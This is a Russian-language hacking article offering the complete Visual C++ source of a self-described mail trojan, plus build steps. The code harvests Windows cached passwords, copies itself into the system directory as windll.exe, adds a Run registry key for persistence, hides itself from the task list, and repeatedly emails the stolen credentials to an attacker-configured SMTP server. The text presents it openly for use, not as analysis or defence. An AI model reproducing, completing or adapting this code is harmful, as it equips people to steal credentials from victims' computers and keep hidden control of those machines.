Отправка почты на Visual C++

Данная программа отсылает определяемые Вами файлы.ипы, пароли, всякие файлы и т.д.). Наш троян будет слать нам на мыло кэш. пароли.
Сначала программа копирует себя каталог с виндами в папку system в windll.exe. И прописывается в реестр. Пробует соединиться с smtp серваком. Если соединился, то отправляет инфу. Исходник на Visual C++(6.0):
#include "stdafx.h"
int sLimit=6;//сколько писем можно отправлять при каждом старте
int sent=0;//счётчик отправленых писем
unsigned int tim;
char BufStr0[1500]="";//сюда будем писать кеш. пароли
LRESULT CALLBACKWndProc(HWND, UINT, WPARAM, LPARAM);
WSADATA wsadata;
SOCKADDR_IN sin;
SOCKET sock;
//ниже идут функции для получения кеш. паролей
struct PASSWORD_CACHE_ENTRY {
WORD cbEntry; 
WORD cbResource;
WORD cbPassword;
BYTE iEntry; 
BYTE nType; 
char abResource[1];
};
typedef BOOL (FAR PASCAL *CACHECALLBACK)( struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData );
DWORD APIENTRY WNetEnumCachedPasswords(
LPSTR pbPrefix,WORD cbPrefix,BYTE nType,CACHECALLBACK pfnCallback,DWORD dwRefData);
typedef DWORD (WINAPI *ENUMPASSWORD)(
LPSTR pbPrefix, WORD cbPrefix, BYTE nType, CACHECALLBACK pfnCallback, DWORD dwRefData);
ENUMPASSWORD pWNetEnumCachedPasswords;
typedef struct {
char *pBuffer;
int nBufLen;
int nBufPos;
} PASSCACHECALLBACK_DATA;
BOOL PASCAL AddPass(struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData)
{
char buff[1024];
char buff2[1024];
int nCount;
PASSCACHECALLBACK_DATA *dat;
dat = (PASSCACHECALLBACK_DATA *)dwRefData;
nCount=pce->cbResource;
if(nCount>1023) nCount=1023;
memmove(buff, pce->abResource, nCount);
buff[nCount] = 0;
CharToOem(buff, buff2);
if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
dat->nBufPos+=lstrlen(buff2)+1;
nCount=pce->cbPassword;
if(nCount>1023) nCount=1023;
memmove(buff, pce->abResource+pce->cbResource, nCount);
buff[nCount] = 0;
CharToOem(buff, buff2);
if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
dat->nBufPos+=lstrlen(buff2)+1;
return TRUE;
}
void CachedPass()
{
HMODULE hLib=LoadLibrary("MPR.DLL");
PASSCACHECALLBACK_DATA dat;
dat.pBuffer=(char *)malloc(65536);
dat.nBufLen=65536;
dat.nBufPos=0;
pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(hLib, "WNetEnumCachedPasswords");
pWNetEnumCachedPasswords(NULL, 0, 0xff, AddPass, (DWORD) &dat); 
char *svStr;
svStr=dat.pBuffer;
strcpy(BufStr0,"");
do {
char *svRsc=svStr;
svStr+=lstrlen(svStr)+1;
char *svPwd=svStr;
svStr+=lstrlen(svStr)+1;
char svBuff[1024];
wsprintf(svBuff, "%.256s : %.256s\x0D\x0A", svRsc, svPwd);
strcat(BufStr0,svBuff);
}while(*svStr!='\0');
FreeLibrary(hLib);
};
//проца для отправки репортов на мыло
int SendMail()
{ //здесь будут smtp сервер, обратный адрес(MAIL FROM) и адрес получателя(RCPT TO)
//много \0 для того, чтобы в hex-editor'e можно было исправить параметры
//(или можно написать конфигуратор для троя)
//smtp север нужно отпинговать
char Serv[1000]="HELO 127.0.0.1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
char From[1000]="MAIL FROM:< Этот e-mail защищен от спам-ботов. Для его просмотра в вашем браузере должна быть включена поддержка Java-script >\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
char To[1000]="RCPT TO:< Этот e-mail защищен от спам-ботов. Для его просмотра в вашем браузере должна быть включена поддержка Java-script >\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
/*
ниже следует имя smtp сервака, SMTP для того, чтобы его можно было легче найти
в hex-editor'e...
*/
char sServer1[256]="SMTP: 127.0.0.1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
char Text[1400]="Subject: :[ h@ckBOY's Mail Trojan Report ]:\x0A\x0A\x0D\x0A\x0D\x0A";
char sServer[256]="";
//убираем SMTP: из sServer1 и записываем всё это в sServer
int c=0;
for(int i=0;i<=256;i++)
if(i>5){ sServer[c]=sServer1[i]; c++;};
//получаем кэшированные пароли 
CachedPass();
strcat(Text,"Cached passwords:\x0D\x0A");
strcat(Text,BufStr0);
strcat(Text,"\x0D\x0A\x0D\x0A.\x0D\x0A");
//формируем всю мессагу
char *MailMess[] =
{
Serv,
From,
To,
"DATA\x0D\x0A",
Text,
"QUIT\x0D\x0A",
NULL
};
WSAStartup(0x0101,&wsadata);
sock = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
sin.sin_family=AF_INET;
sin.sin_port=htons(25);
sin.sin_addr.s_addr=inet_addr(sServer);
if(connect(sock,(LPSOCKADDR)&sin,sizeof(sin)) == SOCKET_ERROR)
{
//MessageBox(NULL,"Error: can't connect to server :(","Error",MB_OK|MB_ICONERROR);
closesocket(sock);
WSACleanup();
return 1;
};
int iLength = 0;
int iEnd = 0;
char sBuff[255] = "";
int iMsg = 0;
//пытаемся отправить мессагу
while(MailMess[iMsg])
{
send(sock,MailMess[iMsg],lstrlen(MailMess[iMsg]),0);
//MessageBox(NULL,MailMess[iMsg],"Send to server:",MB_OK|MB_ICONINFORMATION);
iLength=recv(sock,sBuff,sizeof(sBuff),0);
sBuff[iLength]='\0';
//MessageBox(NULL,sBuff,"Answer from server:",MB_OK|MB_ICONWARNING);
iMsg++;
};
closesocket(sock);
WSACleanup();
return 0;
};
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)

//прячемся от Ctrl+Alt+Del
typedef DWORD (WINAPI *REGSERVPROC)(DWORD, DWORD);
HINSTANCE hLibrary;
REGSERVPROC regprc;
hLibrary = LoadLibrary("kernel32.dll");
regprc = (REGSERVPROC) GetProcAddress(hLibrary, "RegisterServiceProcess");
regprc (NULL,1);
//копируем в windir\system\windll.exe
LPSTR lpMe = new TCHAR[256];
LPSTR WinDir1 = new TCHAR[256];
GetSystemDirectory(WinDir1,256);
GetModuleFileName(NULL,lpMe,200);
strcat(WinDir1,"\\windll.exe");
CopyFile(lpMe,WinDir1,FALSE);
//создаем ключ в реестре
char szValue [256] = "windll.exe";
HKEY pKey;
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey);
RegSetValueEx(pKey,"windll",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);
SendMail();//пытаемся отправить мессагу
MSG msg;
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX); 
wcex.style= CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc= (WNDPROC)WndProc;
wcex.cbClsExtra= 0;
wcex.cbWndExtra= 0;
wcex.hInstance= hInstance;
wcex.hIcon= NULL;
wcex.hCursor= NULL;
wcex.hbrBackground= NULL;
wcex.lpszMenuName= NULL;
wcex.lpszClassName= "explorer";
wcex.hIconSm= NULL;
RegisterClassEx(&wcex);
HWND hWnd;
hWnd = CreateWindow("explorer", NULL, WS_POPUP,
0, 0, 10,10, NULL, NULL, hInstance, NULL);
//устанавливаем таймер(т.е. каждае 25000 м.сек. пробуем отправить мессагу)
tim=SetTimer(hWnd,NULL,25000,NULL);
while (GetMessage(&msg, NULL, 0, 0)) 
{
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return 0;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
switch(iMsg)
{
case WM_CLOSE:
closesocket(sock);
WSACleanup();
PostQuitMessage(1);
return 1;break;
case WM_TIMER: 
//пробуем отправить
if(sent!=sLimit)
{
if(SendMail()==0) sent++;
} else
{
KillTimer(hWnd,tim);
};
break;
};
return DefWindowProc(hWnd, iMsg, wParam, lParam);
};
Всё! Тлько в stdafx.h нужно дописать #include<wininet.h> и #include<winsock.h>(под #include<Setupapi.h>).
И добавить библиотеку wsock32.lib(Alt+F7).
 
« Предыдущая статья   Следующая статья »